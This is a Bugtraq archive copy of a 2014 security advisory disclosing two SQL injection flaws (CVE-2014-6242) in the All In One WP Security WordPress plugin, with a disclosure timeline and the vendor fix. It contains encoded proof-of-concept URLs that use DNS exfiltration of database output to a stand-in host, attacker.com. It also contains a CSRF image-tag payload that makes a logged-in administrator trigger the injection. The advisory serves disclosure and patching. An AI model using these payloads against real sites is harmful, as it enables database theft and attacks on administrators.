Bugtraq mailing list archives

Two SQL Injections in All In One WP Security WordPress plugin


From: High-Tech Bridge Security Research <advisory () htbridge com>
Date: Wed, 24 Sep 2014 12:11:26 +0200 (CEST)

Advisory ID: HTB23231
Product: All In One WP Security WordPress plugin
Vendor: Tips and Tricks HQ, Peter, Ruhul, Ivy 
Vulnerable Version(s): 3.8.2 and probably prior
Tested Version: 3.8.2
Advisory Publication:  September 3, 2014  [without technical details]
Vendor Notification: September 3, 2014 
Vendor Patch: September 12, 2014 
Public Disclosure: September 24, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-6242
Risk Level: Medium 
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered two SQL injection vulnerabilities in All In One WP Security WordPress 
plugin, which can be exploited to perform SQL Injection attacks. Both vulnerabilities require administrative 
privileges, however can be also exploited by non-authenticated attacker via CSRF vector. 


1) SQL Injection in All In One WP Security WordPress plugin: CVE-2014-6242

1.1 The vulnerability exists due to insufficient sanitization of user-supplied input passed via the "orderby" HTTP GET 
parameters to "/wp-admin/admin.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL 
code.

The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "orderby" 
parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request 
demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a 
domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the 
application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a 
logged-in administrator to visit a web page with an CSRF exploit, e.g.:

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&order=,%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29


1.2 The vulnerability exists due to insufficient sanitization of user-supplied input passed via the "order" HTTP GET 
parameters to "/wp-admin/admin.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL 
code.

The PoC code below is based on DNS Exfiltration technique and may be used to demonstrate vulnerability in the "order" 
parameter if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request 
demanding IP addess for `version()` (or any other sensetive output from the database) sub-domain of ".attacker.com" (a 
domain name, DNS server of which is controlled by the attacker):

http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the 
application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a 
logged-in administrator to visit a web page with CSRF exploit, e.g.:

<img 
src="http://[host]/wp-admin/admin.php?page=aiowpsec&tab=tab1&orderby=%28select%20load_file%28CONCAT%28CHAR%2892%29,CHAR%2892%29,%28select%20version%28%29%29,CHAR%2846%29,CHAR%2897%29,CHAR%28116%29,CHAR%28116%29,CHAR%2897%29,CHAR%2899%29,CHAR%28107%29,CHAR%28101%29,CHAR%28114%29,CHAR%2846%29,CHAR%2899%29,CHAR%28111%29,CHAR%28109%29,CHAR%2892%29,CHAR%28102%29,CHAR%28111%29,CHAR%28111%29,CHAR%2898%29,CHAR%2897%29,CHAR%28114%29%29%29%29";>

-----------------------------------------------------------------------------------------------

Solution:

Update to All In One WP Security 3.8.3

More Information:
https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/changelog/

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23231 - https://www.htbridge.com/advisory/HTB23231 - Two SQL Injections in All In One 
WP Security WordPress plugin.
[2] All In One WP Security WordPress plugin - http://www.tipsandtricks-hq.com/wordpress-security-and-firewall-plugin - 
All round best WordPress security plugin.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and 
cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


Current thread: